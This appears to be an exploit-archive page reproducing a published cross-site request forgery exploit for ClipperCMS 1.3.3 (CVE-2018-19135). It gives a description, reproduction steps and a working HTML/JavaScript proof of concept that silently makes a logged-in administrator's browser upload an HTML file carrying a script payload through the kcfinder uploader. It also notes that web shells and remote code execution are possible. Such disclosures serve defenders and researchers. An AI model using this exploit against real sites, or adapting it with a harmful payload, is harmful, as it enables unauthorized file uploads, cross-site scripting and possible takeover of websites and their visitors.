Clippercms 1.3.3 crosssite request forgery (file upload) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-11-13 | Type : webapps | Platform : php
This exploit / vulnerability Clippercms 1.3.3 crosssite request forgery (file upload) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: ClipperCMS 1.3.3 File Upload CSRF Vulnerability
# Date: 2018-11-11
# Exploit Author: Ameer Pornillos
# Website: http://ethicalhackers.club
# Vendor Homepage: http://www.clippercms.com/
# Software Link: https://github.com/ClipperCMS/ClipperCMS/releases/tag/clipper_1.3.3
# Version: 1.3.3
# Tested on: Windows 10 x64 (XAMPP, Firefox)
# CVE : CVE-2018-19135

* Description:

ClipperCMS 1.3.3 does not have CSRF protection on its kcfinder file upload
which is being used by default. This can be used by an attacker to perform
actions for an admin (or any user with file upload capability). With this
vulnerability, it can automatically upload file/s (by default it allows
aac,au,avi,css,cache,doc,docx,gz,gzip,htm,html,js,mp3,mp4,mpeg,mpg,ods,odp,odt,pdf,ppt,pptx,rar,tar,tgz,txt,wav,wmv,xls,xlsx,xml,z,zip
as file types). Note that web shell that can be used for remote code
execution can be achieved depending on the file types being accepted.
Uploaded file can be accessed publicly on the "/assets/files" directory
(e.g. uploaded a malicious html file with filename: poc.html file =>
http://<clipperwebsite>/clipper/assets/files/poc.html).
This can lead for the website to be host unintended file/s.

*Steps to reproduce:

Admin (or user with file upload capability) logged in ClipperCMS 1.3.3 ->
browse/open a controlled website (e.g. by link or open PoC below in a
browser where admin/user logged in to ClipperCMS 1.3.3) with the poc below
-> file is uploaded and can be accessed on http://
<clipperwebsite>/clipper/assets/files/poc.html

*Proof of Concept:

PoC below will automatically upload a "poc.html" file with simple XSS
payload. Steps above are how to make use of the PoC.

<html>

<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST",
"http:\/\/clipperwebsite\/clipper\/manager\/media\/browser\/kcfinder\/browse.php?type=files&lng=en&act=upload",
true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------167248871811044278431417596280");
xhr.withCredentials = true;
var body =
"-----------------------------167248871811044278431417596280\r\n" +
"Content-Disposition: form-data; name=\"upload[]\";
filename=\"poc.html\"\r\n" +
"Content-Type: text/html\r\n" +
"\r\n" +
"\x3cscript\x3ealert(\'XSS\')\x3c/script\x3e\n" +
"\r\n" +
"-----------------------------167248871811044278431417596280\r\n"
+
"Content-Disposition: form-data; name=\"dir\"\r\n" +
"\r\n" +
"files\r\n" +

"-----------------------------167248871811044278431417596280--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
</body>
</html>

*Proof of Concept Demo:

Actual video demo of the vulnerability being exploited is available on:
https://youtu.be/bEYqb99MdYs

*Reference:

https://github.com/ClipperCMS/ClipperCMS/issues/494